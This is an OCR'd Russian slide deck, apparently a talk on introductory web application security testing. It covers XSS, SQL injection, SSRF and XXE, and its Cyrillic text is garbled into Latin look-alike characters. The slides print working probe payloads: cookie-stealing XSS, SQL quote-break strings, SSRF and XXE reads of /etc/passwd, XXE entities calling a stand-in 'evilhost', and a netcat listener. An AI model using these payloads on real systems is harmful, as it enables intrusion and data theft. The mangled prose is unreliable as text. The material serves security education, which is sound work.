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Mpueer!

MeHsa 30ByT AHApeu JIeoHOB

9 3pecb Ang Toro, YTobbl MOMOYbL BaM cAienaTh NepBbie Waru B
TECTUPOBAHNU Web NpUNoXeHns Ha 6€30MNacHOCTb

E-mail; a.leonov@semrush.com

Twitter: 4lemon
Facebook's ImageTragick story -> http://4lemon.ru/



mailto:a.leonov@semrush.com
https://twitter.com/4lemon
http://4lemon.ru/

Ana yero npoBepsiTh Ha
?

Web npunoykeHusa nuwyT noan, U B HUX TOYHO MOTYT ObiTb YSI3BUMOCTM.
YeM npunoxeHune cnoxkHee, TeM 60/blie BEPOATHOCTD.

NrHopupoBaTb 3TOT paKT 6ECCMbIC/IEHHO.



JTanbi
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NMoaroroBka NMpoBepka

Onpepenntb, Ha [MpoBepuTb Ha
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MMeEeT CMbIC/ YS3BUMOCTH

NPOBEPATL

web
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Best Practices

Heb6onbwune
nosesHble
NPAKTUKKN, YTO elLé
He 3ab6bITb
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OWASP Top Project

A1:2017 — Injection A7:2017 — Cross-Site Scripting
A2:2017 — Broken Authentication (XSS)

A3:2017 — Sensitive Data A8:2017 — Insecure

Exposure Deserialization

A4:2017 — XML External Entities AQ:2017 — Using Components
A5:2017 — Broken Access with Known Vulnherabilities
Control A10:2017 — Insufficient Logging
AG:2017 — Security & Monitoring

Misconfiguration


https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
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Cross-site scripting



Y10 Takoe (E5?

XSS — Cross-Site Scripting (MeXcanToBbIt CKPUMTUHT)

XSS — 370 ataka Ha nonb3oBaTesd, NO3BO/AILWANA aTaKyoWeMy
BbIMOJIHUTb B KOHTEKCTE 6pay3epa KepTBbl MPOU3BOJIbHbIM CLLEHAPUN

Yaue Bcero nogpasymeBaetcq BHegpeHune HITML-teros u JS-
CLeHapveB



™ Forgot Your Password?

8 tips//academy-rm.cc.corp yahoo.net/pe/ act
Web Scanner | b StartScan+ W Abort Scan | J” Settings | ) Advanced + | Scanner status: Idle.

?returnURL=/login jsp"><svg onload=alert(document.cookie) b="

JSESSIONID=2B62F4C617DBSE 158E44165D0220M4C 1, AreCookiesEnabled=1




..............................................................................................

NMpumMep XSS

[?returnURL=/ loginjsp"><svg onload=alert(document.cookie) b=" ]

y

<input type="text” name="redirectURI"”
value="/login.jsp”’><svg onload=alert (document.cookie)

b=// //>

.......................................................................................................

11



..............................................................................................

NMpumMep XSS

[?returnURL=/login.jsp ]

y

<input type="text” name="redirectURIL”
value="/login.jsp”>

12



..............................................................................................

NMpumMep XSS

[?returnURL=/login.jsp" ]

y

<input type="text” name="redirectURI"”
Value=”/login.jspl”>

.......................................................................................................




NMpumMep XSS

[?returnURL=/login.jsp"> ]

y

<input type="text” name="redirectURI"”
value="/login. jsp.”>

.......................................................................................................



Npumep
?returnURL=/login.jsp"><svg

<input type= name=

value= - ">



Npumep
?returnURL=/login jsp"><svg onload=alert(document.cookie) b="

<input type= name=

value= ”"><svg onload=alert (document.cookie)
=



™ Forgot Your Password?

8 tips//academy-rm.cc.corp yahoo.net/pe/ act
Web Scanner | b StartScan+ W Abort Scan | J” Settings | ) Advanced + | Scanner status: Idle.

?returnURL=/login jsp"><svg onload=alert(document.cookie) b="

JSESSIONID=2B62F4C617DBSE 158E44165D0220M4C 1, AreCookiesEnabled=1




NMpuMepbl ceicropos

o —-->"">— CMBOJIDI HeO6XO,£I,l/IMbIe A1 BbIXO4a N3 KOHTEKCTa
e -->'""><a href="http://google.com”>aaaa</a>
o -->’""><script>alert (document.cookie)</script>



http://google.com

OnacHocCTb (&5

e nepexsaT cookies nosb3oBaTens
® WN3MEHEHME BHELWHENO Bnaa CTPaHULb
e pobaBneHue CKpUMNToB




FAe U KakK Mcrarn?

e Hantn ¢yHKUMIO BbIBOAA MHPOPMALMM HA CTPAHULY
e [lpoaHann3snpoBaTb, KaKMe faHHble B HEE nonagatT
Ecnn npucyTCTBYIOT AAHHbIE U3 HEAOBEPEHHbBIX NCTOYHUKOB:

—  M3y4nTb GMUABTPALMIO MOCTYNAIOLWMX AAHHbIX
—  M3YYUTb KOHTEKCT BbIBOAUMbIX AAHHbIX

He BO BCSIKOM KOHTEKCTE XSS MOXKET 6bITb UCNOMHEHA, AaXKe Mpu

oTCyTCTBUU PUnbTPaLMn. Hanpumep, ecnn Content-type oteeTa:
text/plain.

20



SQL injection

-------------------------------------------------------------------------------------------------------







Y10 Takoe 51?2

BHeppeHne SQL-kopna (@nrn. SQL injection) — BHeapeHWM B 3anpoc
npounsBosibHOro SQL-koga.

.......................................................................................................




NpumMmep

?name=root

[ example.com/sqli/fexamplel.php?name=root SELECT
™ FRCM users
me
WHERE NAME 'root'

id name

2 root



Npumep

?name=root’”

[0 example.com/sgli/fexamplel.php?name=root%27" SELECT
FROM users
Home 1 1
WHERE NAME 'root

© PentesterLab 2013



Npumep

?name=root’ and 1='1

[0 example.com/sgli/examplel.php?name=root%27 E3RRNeus

FRCM users
Home WHERE NAME 'root' AND 1 '1°

id name

2 root



Npumep

?name=root’ and 1=’2

O example.com/sqli/examplel.php?name=root%27% SELECT

FROM users
WHERE NAME 'root' AND 1 '2'

Home

id name

© PentesterLab 2013



NpuMepbl

- — NPOCTO ogMHapHasa U/ nnn BOMHAN KaBblyka

M BCé. — B C/ly4yaeB 3TOro 6yaeT 4OCTATOYHO



OnacHocTb S0

yTeyka MHdopmMaumu

M3MEHEHME AaHHbIX

DoS

YTEHUE CUCTEMHbIX panioB
NOBbILEHNE NPUBUNENNIN MONb3OBATENS
RCE (Remote Code Execution)




Vazeumpie mecta B SQL
3anpoce

SELECT col1 FROM tbl WHERE col={inj} SELECT column as f{injl’ FROM tbl

SELECT col1 FROM tbl ORDER BY colfinj}.... INSERT INTO tbl VALUES (injh

SELECT col1 FROM tbl GROUP BY col/finjl,... INSERT INTO tbl SET field={inj}

SELECT col1 FROM tbl WHERE col LIKE '%{injl%s' UPDATE tbl SET col-={injl WHERE col2=value2
SELECT col1 FROM tbl WHERE {injl=value UPDATE tbl SET col=value WHERE {injl=value2
SELECT col1 FROM tbl WHERE col=func({injh UPDATE tbl SET col=value WHERE col2={injl
SELECT colfinjl.... FROM tbl DELETE FROM tbl WHERE {injl=value 17
SELECT func({injb,.. FROM tbl DELETE FROM tbl WHERE col-={inj}

SELECT col1 FROM tbl WHERE col2 IN (value,finjl...




SSRF

Server Side Request Forgery




Y10 Takoe S51-?

SSRF = Server-Side Request Forgery (MexcepBepHasi nogaenka
3anpocoB)

SSRE — aT0O ataka, No3BON4I0WAa aTakylolWeMy co3gaBaTth 3anpoc oT
YA3BMMOIO CepBepa K pecypcaM B UHTpaHeTe/NHTepHeTe




Y10 Takoe

"N

N
——3 s

Firewall
(Port 80, 443 Allowed)

elasticsearch.

ikibanal
M

> MEMCHCHED

& redis

.mongoDB=




NMpumep SSHF

Mowu npodunb

Nmn: AHapewt JleoHOB

KomaHpa: Security

Email: [ a.leonov@semrush.com ]
MpuBaTHan

uHbopmayums: Z

URL asaTap: [ https://avatars.slack-edge.com/2016-07-11/5862540169 ]

Mnu 3arpy3nTe HOBbIN:

Boibepute daidn | ®aiin He BbibpaH

CoxparHuts




NMpumep SSHF

Mo#u npodunb

Nmsa: AHgpew JleoHOB

KomaHpa: Security

Email: [ a.leonov@semrush.com ]
MpusaTHan

uHbopmaumna: Z
URL aBsarap: https://www.google.com/images/errors/robot.png|

Mnw 3arpy3ure HOBbIW:

Beibepute @aidn  ®ain He Bbibpar

Coxparuts




NMpumep SSHF

Mo# npodunb

Umsa: AHppe# JleoHoB

KomaHnpa: Security

Email: [ a.leonov@semrush.com ]
MpuBaTHan

uHbopmaumn: 4
URL aBarap: Isectest/avatar/1522412885.png|

Wnwm 3arpysnTe HOBbI:

Buibepute dpain  ®ain He soibpan

CoxpaHuTs

.......................................................................................................




NMpumep SSHF

Mowu npodunab

Ums: AHAapew JleoHoB

Komanpa: Security

Email: [ a.leonov@semrush.com ]
MpuBaTHan

uHbopmauma: | %
URL aBaTtap: file:j//etc/passwd

Wnu 3arpysnTe HOBbIW:

Buibepute ¢aiin  ®ain He Boibpax

.......................................................................................................




Npumep

Mo# npodunb

=5

Nmn: AHapew JleoHOB

Komanpa: Security

Email: a.leonov@semrush.com

MpuBaTHan

nHbopmauuna: Z

URL aBarap: /sectest/avatar/1522413507.png

Wnu 3arpy3nTe HOBbI:

Boibepute dain  @ain He ebibpax

CoXpanHuTs



Lemon -~ -_‘Pl_ljF‘[:lf"I- l"lH.l !’I+f[: L& F /—:”l‘l[:l-lE‘.!:l:lﬂ],'"';_‘r:‘_!:te:t.-", 31—3{152:4_1:‘_-5[]7[]”;

root:x:0:0:r
lj-'_-'ui'{i’u:!r‘l":'t"l'l'ljari'n'il:lr'l:.f s sbini/fusr/sbin/nologin
' ‘bin:/bin:/ sbin/nologin
;~t11 n/ r'u:rln:lgi g

‘sbin/nologin
- fsbin/nologin
/spool/lpd:fusr/sbin/nologin
‘'var/mail:/usr/sbin/nologin
'spool/news:/usr/sbin/nologin
| DO@lfUUCDI' : ibinfnologwn
: Abint/ !
R D e iy S S e Y S A SATEETR
backup: 34:34.:bac Lup; ‘var/backy sbin/nologin
List:x:38:35:Mz 18 =L fanag Avarf/list:/usr/sbin/nologin




OnacHocCTb 551

® CKaHMpPOBAHME MNOpPTOB

e o0b6xop host-based ayTeHTUdMKaLNM

e 3KCnayaTaums ys3BMUMbIX MPOrpamMM 3anyLeHHbIX B UHTPaHeTE nn
Ha NNOKa/IbHOM cepBepe

® YTEHMe JIoKasIbHbIX panioB




rpe vcrkars?

[Mpu3HaKn BO3MOXXHOU SSRF;

e webhooks

e KoHBepTauma HTML: npobynte BcTaBnaTb <iframe>, <img>,
<base>, <script> unnun CSS pyHKUMIO url (), yKasbiBaloOLLYIO Ha
BHYTPEHHUU CEPBUC

® 3arpyska yganeHHbix ¢pannos: nonpobynte otnpasntb URL ¢
NOPTOM N MOCMOTPUTE, KAKOW KOHTEHT 3arpy3mnTcs



Kak vcrarp?

® TMOAHSATb cepBep U 3anycTuTs listener:
nc -1 -n -vv -p 8080 -k

® B UCCeAYyEMOM MPUTOXKEHUN HAUTU NapaMeTpP, B KOTOPbIN MOXKHO
nepefasaTb MNyTb A/15 3anNpoca AaHHbIX C Hawero xocTta (K HaweMy
listener'y)

® U3y4ynTb BbIBOA listener'a nnm nonyyeHHbIn o6paTHO OTBET



XML External Entity






https://docs.google.com/file/d/0B4UjLZMW8c12b1VKWWhvNlZ6RzA/preview

NMpumep X

POST /xxe HTTP/1.1

<?xml version="1.0"?>
<!DOCTYPE greeting [
<!ENTITY xxe SYSTEM
"file:///etc/passwd" >

1>
<greeting>é&xxe;</greeting>

HTTP/1.1 200 OK

<greeting>root:x:0:0:root:/root: /b
in/bash

daemon:x:1:1:daemon: /usr/sbin: /bin
/sh

bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
.</greeting>




Yro Takoe )1 1D?

Ecnn pokyMeHT npuaepxmeaet DTD nan XML Schema:

<?xml version="1.0"7?>

<!DOCTYPE order |

<!ELEMENT count (#PCDATA)>
<!ELEMENT product (#PCDATA)>
<!ELEMENT order (product, count)>
1>

<order>

<product>1234</product>
<count>1</count>

</order>




Yro Takoe )1 1D?

BHewHmne DTD Ha nokanbHOM cepBepe

<?xml version="1.0"?> order.dtd:

<!DOCTYPE order SYSTEM <!DOCTYPE order |
"order.dtd"> <!ELEMENT count (#PCDATA)>
<order> <!ELEMENT product (#PCDATA)>
<product>1234</product> <!'ELEMENT order (product,
<count>1l</count> count) >

</order> 1>




Yro Takoe )1 1D?

BHewHne DTD Ha cTOpoOHHEM cepBepe
<?xml version="1.0"?>
<!DOCTYPE order SYSTEM "http://host/order.dtd">
<order>
<product>1234</product>
<count>1</count>

</order>




Y10 Takoe -“niities?

e Predefined &amp; &lt; &#37;
e General <!ENTITY general “hello”>
e Parameter <!'ENTITY % param “hello”>




rpe vcrkars?

e ob6paboTka XML B 1l0O6OM MposiB/IEHUN
- SVG
- sitemap
e KoHBepTaums HTML B gpyrme ¢popmartsl
e obpaboTka docx, xlsx n nogobHbIX popMaToB

.......................................................................................................




Kak vcrarp?

HTTP/DNS 3anpoc:

<!DOCTYPE greeting [
<!'ENTITY z SYSTEM "http://evilhost/check" > ]>
<greeting>&z;</greeting>

.......................................................................................................




Kak vcrarp?

HTTP/DNS 3anpoc:

<!DOCTYPE greeting [
<!'ENTITY z SYSTEM "http://evilhost/check" > 1>
<greeting>&z;</greeting>

<!DOCTYPE greeting [
<!'ENTITY % z SYSTEM "http://evilhost/check" > %z; ]>

.......................................................................................................




Kak vcrarp?

HTTP/DNS 3anpoc:

<!DOCTYPE greeting [
<!'ENTITY z SYSTEM "http://evilhost/check" > 1>
<greeting>&z;</greeting>

<!DOCTYPE greeting [
<!'ENTITY % z SYSTEM "http://evilhost/check" > %z; ]>

<!DOCTYPE z SYSTEM "http://evilhost/check" >
<z/>




Kak vcrarp?

user:~/$ cat /var/logs/access.log

192.168.0.1 - - [22/Aug/2016:13:29:24 +0300] "GET
/check HTTP/1.1" 405 569 "-"

.......................................................................................................



OnacHocTb (O E

YTeHune nokasnbHbIX panioB

JOCTyn K /lIoKanbHbIM pecypcam
CkaHupoBaHMe NopPTOB/ XOCTOB
plain-text wrappers

Remote Code Execution (He yacTo)
DoS
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Security heacers

e Strict-Transport-Security
o X-Content-Type-Options: nosniff

http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx

o X-XSS-Protection: 1; mode=block

http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-x
ss-protection-http-header.aspx

o X-Frame-Options ( DENY | SAMEORIGIN | ALLOW-FROM)

Bbl6paHHaF| OI'ILI,MFI 3aBNCUT OT KOHTEKCTa
http://tools.ietf.org/html/draft-ietf-websec-x-frame-options-00

e Cache-Control

.......................................................................................................


http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx
http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx
http://tools.ietf.org/html/draft-ietf-websec-x-frame-options-00

e Secure — 3anpeuaeT nepegady cookie no HesawmweHHoMy (http)
KaHany

e HTTPONly — 3anpelaet goctyn Kk cookie B DOM-mogenu
OOKYMeHTa



-------------------------------------------------------------------------------------------------------



Burp Suite

Y006HO npu noucke /11o6bix ya3BMMOCTEN

Interception proxy

KoHTponb scope

ABTOMaTUYECKOE M3MEHEHME 3anpPOCOB/OTBETOB Ha NeTy
Py4yHOE n3MeHeHue 3anpocos

cTopus Bcex 3anpocos

[TOBTOP 3anNpPOCOB C BO3MOXXHOCTbIO M3MEHEHMS

Macca nnarnHos

N MHOIO Yyero euwe https.//portswigger.net/burp/help/suite_gettingstarted

.......................................................................................................



https://portswigger.net/burp/help/suite_gettingstarted

e SQL injection

e 3HaeT MHOro asumxkos b/l

e 3HaeT MHoro Bektopos b/j,

e Macca TOHKMX HAaCTpoeK
http://sqlmap.org/

.......................................................................................................



http://sqlmap.org/

..............................................................................................

DNSChef

o XXE/SSRF
e JlornposaHue Bcex DNS 3anpocos

http://thesprawl.org/projects/dnschef/



http://thesprawl.org/projects/dnschef/
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KpaTtko u o neny

OnpepennTb UCNOb3yeMble TEXHONOTNU N BO3MOXXHbIE YS3BUMOCTH
OnpepennTb TOYKU BXOa

[MpoBepPUTb, UCNO/b3ya BEKTOPA aTaku

[MOHATD, Kak 1 rovyemy aTo paboTaeT

McnpaBuTb HeAOCTATKU

ABTOMATM3NPOBATD, F4E 3TO BO3MOXHO

YMEHbLWNTb PUCKU (3aronoBku, naru Kyk, U3onaums)

1O BO3MOXXHOCTM NPOAHaIN3NPOBaTb KOL

PROFIT!!




Cnacub6o!

Bonpochbi?

JleoHoB AHapen
E-mail: a.leonov@semrush.com
Twitter: 4lemon



mailto:a.leonov@semrush.com
https://twitter.com/4lemon

